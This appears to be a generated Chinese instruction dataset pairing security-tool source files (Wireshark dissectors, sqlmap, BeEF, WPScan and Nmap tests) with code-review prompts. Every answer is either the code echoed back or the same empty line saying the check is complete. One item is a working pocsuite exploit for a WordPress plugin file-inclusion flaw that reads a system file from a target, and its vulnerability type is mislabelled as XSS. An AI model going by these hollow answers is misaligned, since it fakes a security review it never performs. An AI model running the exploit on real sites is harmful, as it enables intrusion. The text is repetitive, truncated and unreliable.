
# frozen_string_literal: true

require_relative 'enumeration/users'
require_relative 'enumeration/medias'
require_relative 'enumeration/themes'
require_relative 'enumeration/plugins'
require_relative 'enumeration/timthumbs'
require_relative 'enumeration/config_backups'
require_relative 'enumeration/db_exports'

shared_examples 'App::Views::Enumeration' do
  let(:controller) { WPScan::Controller::Enumeration.new }
  let(:tpl_vars)   { { url: target_url } }

  it_behaves_like 'App::Views::Enumeration::Users'
  it_behaves_like 'App::Views::Enumeration::Medias'
  it_behaves_like 'App::Views::Enumeration::Themes'
  it_behaves_like 'App::Views::Enumeration::Plugins'
  it_behaves_like 'App::Views::Enumeration::Timthumbs'
  it_behaves_like 'App::Views::Enumeration::ConfigBackups'
  it_behaves_like 'App::Views::Enumeration::DbExports'
end


Instruction: 检查这段代码是否存在安全问题

Input:
# frozen_string_literal: true

require_relative 'enumeration/users'
require_relative 'enumeration/medias'
require_relative 'enumeration/themes'
require_relative 'enumeration/plugins'
require_relative 'enumeration/timthumbs'
require_relative 'enumeration/config_backups'
require_relative 'enumeration/db_exports'

shared_examples 'App::Views::Enumeration' do
  let(:controller) { WPScan::Controller::Enumeration.new }
  let(:tpl_vars)   { { url: target_url } }

  it_behaves_like 'App::Views::Enumeration::Users'
  it_behaves_like 'App::Views::Enumeration::Medias'
  it_behaves_like 'App::Views::Enumeration::Themes'
  it_behaves_like 'App::Views::Enumeration::Plugins'
  it_behaves_like 'App::Views::Enumeration::Timthumbs'
  it_behaves_like 'App::Views::Enumeration::ConfigBackups'
  it_behaves_like 'App::Views::Enumeration::DbExports'
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-zbee-security.c
 * Dissector helper routines for encrypted ZigBee frames.
 * By Owen Kirby <osk@exegin.com>; portions by Fred Fierling <fff@exegin.com>
 * Copyright 2009 Exegin Technologies Limited
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*  Include Files */
#include "config.h"

#include <epan/packet.h>
#include <epan/exceptions.h>

#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/uat.h>
#include <epan/proto_data.h>

/* We require libgcrpyt in order to decrypt ZigBee packets. Without it the best
 * we can do is parse the security header and give up.
 */
#include <wsutil/wsgcrypt.h>
#include <wsutil/pint.h>

#include "packet-ieee802154.h"
#include "packet-zbee.h"
#include "packet-zbee-nwk.h"
#include "packet-zbee-aps.h"    /* for ZBEE_APS_CMD_KEY_LENGTH */
#include "packet-zbee-security.h"

/* Helper Functions */
static void        zbee_sec_key_hash(guint8 *, guint8, guint8 *);
static void        zbee_sec_make_nonce (zbee_security_packet *, guint8 *);
static gboolean    zbee_sec_decrypt_payload(zbee_security_packet *, const gchar *, const gchar, guint8 *,
        guint, guint, guint8 *);
static gboolean    zbee_security_parse_key(const gchar *, guint8 *, gboolean);

/* Field pointers. */
static int hf_zbee_sec_field = -1;
static int hf_zbee_sec_level = -1;
static int hf_zbee_sec_key_id = -1;
static int hf_zbee_sec_nonce = -1;
static int hf_zbee_sec_counter = -1;
static int hf_zbee_sec_src64 = -1;
static int hf_zbee_sec_key_seqno = -1;
static int hf_zbee_sec_mic = -1;
static int hf_zbee_sec_key = -1;
static int hf_zbee_sec_key_origin = -1;
static int hf_zbee_sec_decryption_key = -1;

/* Subtree pointers. */
static gint ett_zbee_sec = -1;
static gint ett_zbee_sec_control = -1;

static expert_field ei_zbee_sec_encrypted_payload = EI_INIT;
static expert_field ei_zbee_sec_encrypted_payload_sliced = EI_INIT;
static exper...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-zbee-security.c
 * Dissector helper routines for encrypted ZigBee frames.
 * By Owen Kirby <osk@exegin.com>; portions by Fred Fierling <fff@exegin.com>
 * Copyright 2009 Exegin Technologies Limited
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*  Include Files */
#include "config.h"

#include <epan/packet.h>
#include <epan/exceptions.h>

#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/uat.h>
#include <epan/proto_data.h>

/* We require libgcrpyt in order to decrypt ZigBee packets. Without it the best
 * we can do is parse the security header and give up.
 */
#include <wsutil/wsgcrypt.h>
#include <wsutil/pint.h>

#include "packet-ieee802154.h"
#include "packet-zbee.h"
#include "packet-zbee-nwk.h"
#include "packet-zbee-aps.h"    /* for ZBEE_APS_CMD_KEY_LENGTH */
#include "packet-zbee-security.h"

/* Helper Functions */
static void        zbee_sec_key_hash(guint8 *, guint8, guint8 *);
static void        zbee_sec_make_nonce (zbee_security_packet *, guint8 *);
static gboolean    zbee_sec_decrypt_payload(zbee_security_packet *, const gchar *, const gchar, guint8 *,
        guint, guint, guint8 *);
static gboolean    zbee_security_parse_key(const gchar *, guint8 *, gboolean);

/* Field pointers. */
static int hf_zbee_sec_field = -1;
static int hf_zbee_sec_level = -1;
static int hf_zbee_sec_key_id = -1;
static int hf_zbee_sec_nonce = -1;
static int hf_zbee_sec_counter = -1;
static int hf_zbee_sec_src64 = -1;
static int hf_zbee_sec_key_seqno = -1;
static int hf_zbee_sec_mic = -1;
static int hf_zbee_sec_key = -1;
static int hf_zbee_sec_key_origin = -1;
static int hf_zbee_sec_decryption_key = -1;

/* Subtree pointers. */
static gint ett_zbee_sec = -1;
static gint ett_zbee_sec_control = -1;

static expert_field ei_zbee_sec_encrypted_payload = EI_INIT;
static expert_field ei_zbee_sec_encrypted_payload_sliced = EI_INIT;
static exper...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ')

    >>> tamper("1' AND SLEEP(5)#")
    '1' AND SLEEP(5)#'
    >>> tamper("1' AND SLEEP(5)#")
    '1' AND SLEEP(5)#'
    """

    if payload:
        payload = re.sub(r"&#(\d+);", lambda match: chr(int(match.group(1))), payload)      # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5203
        payload = re.sub(r"[^\w]", lambda match: "&#%d;" % ord(match.group(0)), payload)

    return payload


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Author: Henri Chataing <henrichataing@google.com>
 * Copyright 2022 Google LLC
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 * Specification: Fira Consortium UWB Command Interface Generic Technical
 *                Specification v1.1.0
 */

#include <config.h>

#include <epan/packet.h>
#include <epan/proto.h>
#include <epan/conversation.h>
#include <epan/proto_data.h>
#include "packet-tcp.h"
#include <wiretap/wtap.h>

void proto_reg_handoff_uci(void);
void proto_register_uci(void);

#define UCI_PACKET_HEADER_LEN 4

#define UCI_MT_COMMAND 0x01
#define UCI_MT_RESPONSE 0x02
#define UCI_MT_NOTIFICATION 0x03

#define UCI_GID_CORE 0x00
#define UCI_GID_SESSION_CONFIG 0x01
#define UCI_GID_RANGING_SESSION_CONTROL 0x02
#define UCI_GID_DATA_CONTROL 0x03
#define UCI_GID_TEST 0x0d
#define UCI_GID_VENDOR_PICA 0x09
#define UCI_GID_VENDOR_RESERVED_A 0x0a
#define UCI_GID_VENDOR_RESERVED_B 0x0b
#define UCI_GID_VENDOR_RESERVED_C 0x0c
#define UCI_GID_VENDOR_ANDROID 0x0e
#define UCI_GID_VENDOR_RESERVED_F 0x0f

#define UCI_OID_CORE_DEVICE_RESET 0x00
#define UCI_OID_CORE_DEVICE_STATUS_NTF 0x01
#define UCI_OID_CORE_GET_DEVICE_INFO 0x02
#define UCI_OID_CORE_GET_CAPS_INFO 0x03
#define UCI_OID_CORE_SET_CONFIG 0x04
#define UCI_OID_CORE_GET_CONFIG 0x05
#define UCI_OID_CORE_GENERIC_ERROR_NTF 0x07
#define UCI_OID_SESSION_INIT 0x00
#define UCI_OID_SESSION_DEINIT 0x01
#define UCI_OID_SESSION_STATUS_NTF 0x02
#define UCI_OID_SESSION_SET_APP_CONFIG 0x03
#define UCI_OID_SESSION_GET_APP_CONFIG 0x04
#...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Author: Henri Chataing <henrichataing@google.com>
 * Copyright 2022 Google LLC
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 * Specification: Fira Consortium UWB Command Interface Generic Technical
 *                Specification v1.1.0
 */

#include <config.h>

#include <epan/packet.h>
#include <epan/proto.h>
#include <epan/conversation.h>
#include <epan/proto_data.h>
#include "packet-tcp.h"
#include <wiretap/wtap.h>

void proto_reg_handoff_uci(void);
void proto_register_uci(void);

#define UCI_PACKET_HEADER_LEN 4

#define UCI_MT_COMMAND 0x01
#define UCI_MT_RESPONSE 0x02
#define UCI_MT_NOTIFICATION 0x03

#define UCI_GID_CORE 0x00
#define UCI_GID_SESSION_CONFIG 0x01
#define UCI_GID_RANGING_SESSION_CONTROL 0x02
#define UCI_GID_DATA_CONTROL 0x03
#define UCI_GID_TEST 0x0d
#define UCI_GID_VENDOR_PICA 0x09
#define UCI_GID_VENDOR_RESERVED_A 0x0a
#define UCI_GID_VENDOR_RESERVED_B 0x0b
#define UCI_GID_VENDOR_RESERVED_C 0x0c
#define UCI_GID_VENDOR_ANDROID 0x0e
#define UCI_GID_VENDOR_RESERVED_F 0x0f

#define UCI_OID_CORE_DEVICE_RESET 0x00
#define UCI_OID_CORE_DEVICE_STATUS_NTF 0x01
#define UCI_OID_CORE_GET_DEVICE_INFO 0x02
#define UCI_OID_CORE_GET_CAPS_INFO 0x03
#define UCI_OID_CORE_SET_CONFIG 0x04
#define UCI_OID_CORE_GET_CONFIG 0x05
#define UCI_OID_CORE_GENERIC_ERROR_NTF 0x07
#define UCI_OID_SESSION_INIT 0x00
#define UCI_OID_SESSION_DEINIT 0x01
#define UCI_OID_SESSION_STATUS_NTF 0x02
#define UCI_OID_SESSION_SET_APP_CONFIG 0x03
#define UCI_OID_SESSION_GET_APP_CONFIG 0x04
#...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
    vulID   ='123'
    version = '1'
    author = '小雨'
    vulDate = '2018-05-07'
    name = '文件包含'
    appPowerLink = 'http://192.168.90.177/wordpress/'
    appName = '无'
    appVersion = '0'
    vulType = ' XSS '
    desc = '''
    https://www.exploit-db.com/exploits/44340/
    '''

    def _attack(self):
        return self._verify()

    def _verify(self):
        payload = "/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=C:\Windows\System32\drivers\etc\hosts"
        res = req.get(self.url.rstrip('/') + payload)
        return self.parse_verify(res)

    def parse_verify(self, res):
        output = Output(self)
        result = {}
        if "HOSTS" in res.content and "DNS" in res.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = res.url
            output.success(result)
        else:
            output.fail('No vulnerability found.')
        return output
register(TestPOC)


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
    vulID   ='123'
    version = '1'
    author = '小雨'
    vulDate = '2018-05-07'
    name = '文件包含'
    appPowerLink = 'http://192.168.90.177/wordpress/'
    appName = '无'
    appVersion = '0'
    vulType = ' XSS '
    desc = '''
    https://www.exploit-db.com/exploits/44340/
    '''

    def _attack(self):
        return self._verify()

    def _verify(self):
        payload = "/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=C:\Windows\System32\drivers\etc\hosts"
        res = req.get(self.url.rstrip('/') + payload)
        return self.parse_verify(res)

    def parse_verify(self, res):
        output = Output(self)
        result = {}
        if "HOSTS" in res.content and "DNS" in res.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = res.url
            output.success(result)
        else:
            output.fail('No vulnerability found.')
        return output
register(TestPOC)

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

require 'rest-client'
require 'core/main/network_stack/websocket/websocket'
require 'websocket-client-simple'

RSpec.describe 'BeEF Extension WebSockets' do
  before(:all) do
    @config = BeEF::Core::Configuration.instance
    @cert_key = @config.get('beef.http.https.key')
    @cert = @config.get('beef.http.https.cert')
    @port = @config.get('beef.http.websocket.port')
    @secure_port = @config.get('beef.http.websocket.secure_port')
    @config.set('beef.http.websocket.secure', false)
    @ws = BeEF::Core::Websocket::Websocket.instance
  end

  after(:all) do
    @config.set('beef.http.websocket.secure', true)
  end

  it 'confirms that a websocket server has been started' do
	  expect(@ws).to be_a_kind_of(BeEF::Core::Websocket::Websocket)
  end

  it 'confirms that a secure websocket server has been started' do
    @config.set('beef.http.websocket.secure', true)
    wss = BeEF::Core::Websocket::Websocket.instance
    expect(wss).to be_a_kind_of(BeEF::Core::Websocket::Websocket)
  end

  it 'confirms that a websocket client can connect to the BeEF Websocket Server' do
    sleep(3)
    client = WebSocket::Client::Simple.connect "ws://127.0.0.1:#{@port}"
    sleep(1)
    expect(client).to be_a_kind_of(WebSocket::Client::Simple::Client)
    expect(client.open?).to be true
    client.close
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
require 'rest-client'
require 'core/main/network_stack/websocket/websocket'
require 'websocket-client-simple'

RSpec.describe 'BeEF Extension WebSockets' do
  before(:all) do
    @config = BeEF::Core::Configuration.instance
    @cert_key = @config.get('beef.http.https.key')
    @cert = @config.get('beef.http.https.cert')
    @port = @config.get('beef.http.websocket.port')
    @secure_port = @config.get('beef.http.websocket.secure_port')
    @config.set('beef.http.websocket.secure', false)
    @ws = BeEF::Core::Websocket::Websocket.instance
  end

  after(:all) do
    @config.set('beef.http.websocket.secure', true)
  end

  it 'confirms that a websocket server has been started' do
	  expect(@ws).to be_a_kind_of(BeEF::Core::Websocket::Websocket)
  end

  it 'confirms that a secure websocket server has been started' do
    @config.set('beef.http.websocket.secure', true)
    wss = BeEF::Core::Websocket::Websocket.instance
    expect(wss).to be_a_kind_of(BeEF::Core::Websocket::Websocket)
  end

  it 'confirms that a websocket client can connect to the BeEF Websocket Server' do
    sleep(3)
    client = WebSocket::Client::Simple.connect "ws://127.0.0.1:#{@port}"
    sleep(1)
    expect(client).to be_a_kind_of(WebSocket::Client::Simple::Client)
    expect(client.open?).to be true
    client.close
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * randpkt_core.c
 * ---------
 * Creates random packet traces. Useful for debugging sniffers by testing
 * assumptions about the veracity of the data found in the packet.
 *
 * Copyright (C) 1999 by Gilbert Ramirez <gram@alumni.rice.edu>
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include <config.h>
#define WS_LOG_DOMAIN "randpkt"

#include "randpkt_core.h"

#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <wsutil/file_util.h>
#include <wsutil/wslog.h>
#include <wiretap/wtap_opttypes.h>

#include "ui/failure_message.h"

#define array_length(x)	(sizeof x / sizeof x[0])

#define INVALID_LEN 1
#define WRITE_ERROR 2

GRand *pkt_rand = NULL;

/* Types of produceable packets */
enum {
	PKT_ARP,
	PKT_BGP,
	PKT_BVLC,
	PKT_DNS,
	PKT_ETHERNET,
	PKT_FDDI,
	PKT_GIOP,
	PKT_ICMP,
	PKT_IEEE802154,
	PKT_IP,
	PKT_IPv6,
	PKT_LLC,
	PKT_M2M,
	PKT_MEGACO,
	PKT_NBNS,
	PKT_NCP2222,
	PKT_SCTP,
	PKT_SYSLOG,
	PKT_TCP,
	PKT_TDS,
	PKT_TR,
	PKT_UDP,
	PKT_USB,
	PKT_USB_LINUX
};

/* Ethernet, indicating ARP */
guint8 pkt_arp[] = {
	0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0x00, 0x00,
	0x32, 0x25, 0x0f, 0xff,
	0x08, 0x06
};

/* Ethernet+IP+UDP, indicating DNS */
guint8 pkt_dns[] = {
	0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01,
	0x08, 0x00,

	0x45, 0x00, 0x00, 0x3c,
	0xc5, 0x9e, 0x40, 0x00,
	0xff, 0x11, 0xd7, 0xe0,
	0xd0, 0x15, 0x02, 0xb8,
	0x0a, 0x01, 0x01, 0x63,

	0x05, 0xe8, 0x00, 0x35,
	0xff, 0xff, 0x2a, 0xb9,
	0x30
};

/* Ethernet+IP, indicating ICMP */
guint8 pkt_icmp[] = {
	0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01,
	0x08, 0x00,

	0x45, 0x00, 0x00, 0x54,
	0x8f, 0xb3, 0x40, 0x00,
	0xfd, 0x01, 0x8a, 0x99,
	0xcc, 0xfc, 0x66, 0x0b,
	0xce, 0x41, 0x62, 0x12
};

/* Ethernet, indicating IP */
guint8 pkt_ip[] = {
	0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01,
	0x08, 0x00
};

/* Ethernet, indicating IPv6 */
guint8 pkt_ipv6[] = {
	0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0x01, 0x01,
	0x01, 0...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * randpkt_core.c
 * ---------
 * Creates random packet traces. Useful for debugging sniffers by testing
 * assumptions about the veracity of the data found in the packet.
 *
 * Copyright (C) 1999 by Gilbert Ramirez <gram@alumni.rice.edu>
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include <config.h>
#define WS_LOG_DOMAIN "randpkt"

#include "randpkt_core.h"

#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <wsutil/file_util.h>
#include <wsutil/wslog.h>
#include <wiretap/wtap_opttypes.h>

#include "ui/failure_message.h"

#define array_length(x)	(sizeof x / sizeof x[0])

#define INVALID_LEN 1
#define WRITE_ERROR 2

GRand *pkt_rand = NULL;

/* Types of produceable packets */
enum {
	PKT_ARP,
	PKT_BGP,
	PKT_BVLC,
	PKT_DNS,
	PKT_ETHERNET,
	PKT_FDDI,
	PKT_GIOP,
	PKT_ICMP,
	PKT_IEEE802154,
	PKT_IP,
	PKT_IPv6,
	PKT_LLC,
	PKT_M2M,
	PKT_MEGACO,
	PKT_NBNS,
	PKT_NCP2222,
	PKT_SCTP,
	PKT_SYSLOG,
	PKT_TCP,
	PKT_TDS,
	PKT_TR,
	PKT_UDP,
	PKT_USB,
	PKT_USB_LINUX
};

/* Ethernet, indicating ARP */
guint8 pkt_arp[] = {
	0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0x00, 0x00,
	0x32, 0x25, 0x0f, 0xff,
	0x08, 0x06
};

/* Ethernet+IP+UDP, indicating DNS */
guint8 pkt_dns[] = {
	0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01,
	0x08, 0x00,

	0x45, 0x00, 0x00, 0x3c,
	0xc5, 0x9e, 0x40, 0x00,
	0xff, 0x11, 0xd7, 0xe0,
	0xd0, 0x15, 0x02, 0xb8,
	0x0a, 0x01, 0x01, 0x63,

	0x05, 0xe8, 0x00, 0x35,
	0xff, 0xff, 0x2a, 0xb9,
	0x30
};

/* Ethernet+IP, indicating ICMP */
guint8 pkt_icmp[] = {
	0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01,
	0x08, 0x00,

	0x45, 0x00, 0x00, 0x54,
	0x8f, 0xb3, 0x40, 0x00,
	0xfd, 0x01, 0x8a, 0x99,
	0xcc, 0xfc, 0x66, 0x0b,
	0xce, 0x41, 0x62, 0x12
};

/* Ethernet, indicating IP */
guint8 pkt_ip[] = {
	0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01,
	0x08, 0x00
};

/* Ethernet, indicating IPv6 */
guint8 pkt_ipv6[] = {
	0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0x01, 0x01,
	0x01, 0...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-wbxml.c
 *
 * Routines for WAP Binary XML dissection
 * Copyright 2003, 2004, Olivier Biot.
 *
 * Routines for WV-CSP 1.3 dissection
 * Copyright 2007, Andrei Rubaniuk.
 *
 * Refer to the AUTHORS file or the AUTHORS section in the man page
 * for contacting the author(s) of this file.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * WAP Binary XML decoding functionality provided by Olivier Biot.
 * WV-CSP 1.2 updated to Release version and WV-CSP 1.3 protocol
 * decoding functionality provided by Andrei Rubaniuk.
 *
 * The WAP specifications used to be found at the WAP Forum:
 *	<http://www.wapforum.org/what/Technical.htm>
 * But now the correct link is at the Open Mobile Alliance:
 *	<http://www.openmobilealliance.org/tech/affiliates/wap/wapindex.html>
 * Media types defined by OMA affiliates will have their standards at:
 *	<http://www.openmobilealliance.org/tech/affiliates/index.html>
 *	<http://www.openmobilealliance.org/release_program/index.html>
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/exceptions.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/proto_data.h>
#include <epan/strutil.h>
#include <epan/iana_charsets.h>
/* We need the function tvb_get_guintvar() */
#include "packet-wap.h"

void proto_register_wbxml(void);
void proto_reg_handoff_wbxml(void);

/* General-purpose debug logger.
 * Requires double parentheses because of variable arguments of printf().
 *
 * Enable debug logging for WBXML by defining AM_FLAGS
 * so that it contains "-DDEBUG_wbxml"
 */
#ifdef DEBUG_wbxml
#define DebugLog(x)				\
	g_print("%s:%u: ", __FILE__, __LINE__); \
	g_print x
#else
#define DebugLog(x) ;
#endif

/* The code in this source file dissects the WAP Binary XML content,
 * and if possible renders it. WBXML mappings are defined in the
 * "wbxml_decoding" structure.
 *
 * NOTES:
 *
 *  - Some WBXML cont...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-wbxml.c
 *
 * Routines for WAP Binary XML dissection
 * Copyright 2003, 2004, Olivier Biot.
 *
 * Routines for WV-CSP 1.3 dissection
 * Copyright 2007, Andrei Rubaniuk.
 *
 * Refer to the AUTHORS file or the AUTHORS section in the man page
 * for contacting the author(s) of this file.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * WAP Binary XML decoding functionality provided by Olivier Biot.
 * WV-CSP 1.2 updated to Release version and WV-CSP 1.3 protocol
 * decoding functionality provided by Andrei Rubaniuk.
 *
 * The WAP specifications used to be found at the WAP Forum:
 *	<http://www.wapforum.org/what/Technical.htm>
 * But now the correct link is at the Open Mobile Alliance:
 *	<http://www.openmobilealliance.org/tech/affiliates/wap/wapindex.html>
 * Media types defined by OMA affiliates will have their standards at:
 *	<http://www.openmobilealliance.org/tech/affiliates/index.html>
 *	<http://www.openmobilealliance.org/release_program/index.html>
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/exceptions.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/proto_data.h>
#include <epan/strutil.h>
#include <epan/iana_charsets.h>
/* We need the function tvb_get_guintvar() */
#include "packet-wap.h"

void proto_register_wbxml(void);
void proto_reg_handoff_wbxml(void);

/* General-purpose debug logger.
 * Requires double parentheses because of variable arguments of printf().
 *
 * Enable debug logging for WBXML by defining AM_FLAGS
 * so that it contains "-DDEBUG_wbxml"
 */
#ifdef DEBUG_wbxml
#define DebugLog(x)				\
	g_print("%s:%u: ", __FILE__, __LINE__); \
	g_print x
#else
#define DebugLog(x) ;
#endif

/* The code in this source file dissects the WAP Binary XML content,
 * and if possible renders it. WBXML mappings are defined in the
 * "wbxml_decoding" structure.
 *
 * NOTES:
 *
 *  - Some WBXML cont...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Nsock regression test suite
 * Same license as nmap -- see https://nmap.org/book/man-legal.html
 */

#include "test-common.h"
#include "../src/gh_heap.h"
#include <stdint.h>
#include <time.h>

#define HEAP_COUNT  3

struct testitem {
  int val;
  gh_hnode_t  node;
};

static int hnode_int_cmp(gh_hnode_t *n1, gh_hnode_t *n2) {
  struct testitem *a;
  struct testitem *b;

  a = container_of(n1, struct testitem, node);
  b = container_of(n2, struct testitem, node);

  return (a->val < b->val);
}

static gh_hnode_t *mknode(int val) {
  struct testitem *item;

  item = calloc(1, sizeof(struct testitem));
  assert(item != NULL);
  item->val = val;
  gh_hnode_invalidate(&item->node);
  return &item->node;
}

static int node2int(gh_hnode_t *hnode) {
  struct testitem *item;

  item = container_of(hnode, struct testitem, node);
  return item->val;
}

static int ghheap_ordering(void *tdata) {
  gh_heap_t heap;
  int i, n, k;

  gh_heap_init(&heap, hnode_int_cmp);

  for (i = 25000; i < 50000; i++)
    gh_heap_push(&heap, mknode(i));

  for (i = 24999; i >= 0; i--)
    gh_heap_push(&heap, mknode(i));

  for (i = 25000; i < 50000; i++)
    gh_heap_push(&heap, mknode(i));

  n = -1;
  do {
    gh_hnode_t *current;

    current = gh_heap_pop(&heap);
    assert(!gh_hnode_is_valid(current));
    k = node2int(current);

    if (k < n)
      return -EINVAL;

    n = k;
    free(container_of(current, struct testitem, node));
  } while (gh_heap_count(&heap) > 0);

  gh_heap_free(&heap);
  return 0;
}

static int ghheap_stress(void *tdata) {
  gh_heap_t heaps[HEAP_COUNT];
  int i, num;

  for (i = 0; i < HEAP_COUNT; i++)
    gh_heap_init(&heaps[i], hnode_int_cmp);

  for (num = 25000; num < 50000; num++) {
    for (i = 0; i < HEAP_COUNT; i++) {
      gh_heap_push(&heaps[i], mknode(num));
    }
  }

  for (num = 24999; num >= 0; num--) {
    for (i = 0; i < HEAP_COUNT; i++) {
      gh_heap_push(&heaps[i], mknode(num));
    }
  }

  for (num = 0; num < 50000; num++) {
    for (i = ...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Nsock regression test suite
 * Same license as nmap -- see https://nmap.org/book/man-legal.html
 */

#include "test-common.h"
#include "../src/gh_heap.h"
#include <stdint.h>
#include <time.h>

#define HEAP_COUNT  3

struct testitem {
  int val;
  gh_hnode_t  node;
};

static int hnode_int_cmp(gh_hnode_t *n1, gh_hnode_t *n2) {
  struct testitem *a;
  struct testitem *b;

  a = container_of(n1, struct testitem, node);
  b = container_of(n2, struct testitem, node);

  return (a->val < b->val);
}

static gh_hnode_t *mknode(int val) {
  struct testitem *item;

  item = calloc(1, sizeof(struct testitem));
  assert(item != NULL);
  item->val = val;
  gh_hnode_invalidate(&item->node);
  return &item->node;
}

static int node2int(gh_hnode_t *hnode) {
  struct testitem *item;

  item = container_of(hnode, struct testitem, node);
  return item->val;
}

static int ghheap_ordering(void *tdata) {
  gh_heap_t heap;
  int i, n, k;

  gh_heap_init(&heap, hnode_int_cmp);

  for (i = 25000; i < 50000; i++)
    gh_heap_push(&heap, mknode(i));

  for (i = 24999; i >= 0; i--)
    gh_heap_push(&heap, mknode(i));

  for (i = 25000; i < 50000; i++)
    gh_heap_push(&heap, mknode(i));

  n = -1;
  do {
    gh_hnode_t *current;

    current = gh_heap_pop(&heap);
    assert(!gh_hnode_is_valid(current));
    k = node2int(current);

    if (k < n)
      return -EINVAL;

    n = k;
    free(container_of(current, struct testitem, node));
  } while (gh_heap_count(&heap) > 0);

  gh_heap_free(&heap);
  return 0;
}

static int ghheap_stress(void *tdata) {
  gh_heap_t heaps[HEAP_COUNT];
  int i, num;

  for (i = 0; i < HEAP_COUNT; i++)
    gh_heap_init(&heaps[i], hnode_int_cmp);

  for (num = 25000; num < 50000; num++) {
    for (i = 0; i < HEAP_COUNT; i++) {
      gh_heap_push(&heaps[i], mknode(num));
    }
  }

  for (num = 24999; num >= 0; num--) {
    for (i = 0; i < HEAP_COUNT; i++) {
      gh_heap_push(&heaps[i], mknode(num));
    }
  }

  for (num = 0; num < 50000; num++) {
    for (i = ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# ChangeLog

## 3.9.1 _(2019-03-15)_
* Change: Update shortcode builder widget to 006:
